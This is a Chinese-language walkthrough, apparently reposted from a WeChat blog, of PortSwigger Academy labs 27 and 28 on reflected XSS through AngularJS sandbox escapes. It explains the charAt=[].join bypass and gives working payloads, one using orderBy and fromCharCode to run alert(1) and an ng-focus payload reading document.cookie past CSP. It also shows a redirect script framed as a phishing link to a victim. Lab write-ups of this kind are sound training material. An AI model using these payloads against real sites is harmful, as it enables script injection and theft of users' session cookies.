AngularJS沙盒逃逸:
最著名的转义在表达式中全局使用修改后的charAt()函数:
'a'.constructor.prototype.charAt=[].join
当它最初被发现时,AngularJS并没有阻止这种修改。攻击者使用 [].join方法覆盖函数,导致charAt()函数返回发送给它的所有字符,而不是特定的单个字符。由于AngularJS中isIdent()函数的逻辑,它会将它认为是单个字符的内容与多个字符的内容进行比较。由于单个字符始终少于多个字符,因此isIdent()函数始终返回true
如下例所示:
isIdent = function(ch) {
return ('a' <= ch && ch <= 'z' || 'A' <= ch && ch <= 'Z' || '_' === ch || ch === '$');
}
isIdent('x9=9a9l9e9r9t9(919)')
一旦 isIdent()函数被骗,就可以注入恶意JavaScript。例如,可以使用$eval('x =alert(1)')这样的表达式,因为AngularJS将每个字符都视为标识符。注意,我们需要使用AngularJS的$eval()函数,因为覆盖charAt()函数只有在沙箱代码执行后才会生效。这种技术将绕过沙箱并允许任意JavaScript执行
实验27:反射XSS 无条件无条件的逃跑
1.构造payload进行绕过弹窗
?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=2
(解析如下:
1. `toString().constructor.prototype.charAt=[]`:这一部分代码试图修改字符串的 `charAt` 方法,将其设置为空数组。
2. `[1]`:这是一个包含数字 1 的数组。
3. `orderBy`:这是一个看起来像是用于排序的函数或方法。
4. `toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)`:这一部分代码尝试构造一个字符串,其中包含字符对应的 ASCII 值,然后使用 `fromCharCode` 方法将这些 ASCII 值转换为字符串。具体地说,它构造了一个字符串,内容是"x=alert(1)",这似乎是一个用于弹出警报框的 JavaScript 代码片段。)
?search=111&222=1
<script>angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
$scope.query = {};
var key = 'search';
$scope.query[key] = '111';
$scope.value = $parse(key)($scope.query);
var key = '222';
$scope.query[key] = '1';
$scope.value = $parse(key)($scope.query);
});</script>
=>
?search=1&toString().constructor.prototype.charAt%3d[].join;
[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=2
<script>angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
$scope.query = {};
var key = 'search';
$scope.query[key] = '1';
$scope.value = $parse(key)($scope.query);
var key = 'toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)';
$scope.query[key] = '1';
$scope.value = $parse(key)($scope.query);
});</script>
实验28:反射的XSS与角形沙箱和CSP
1.构造payload进行弹窗 %3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x(`<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>`:这是一个 HTML 输入元素,其 `id` 设置为 "x"。但更重要的是,它包含了 AngularJS 表达式 `ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'`。这段代码是 `(z=alert)(document.cookie)`,它试图弹出浏览器中的 Cookie 信息。)
2.构造钓鱼链接,存储发送给受害者,即可通过此关
<script>
location='https://0a37008e0324352680661c3200e30023.web-security-academy.net/?search=<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'>#x';
</script>
原文始发于微信公众号(鲲哥的Bypass之旅):portswigger靶场-Lab27、28
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论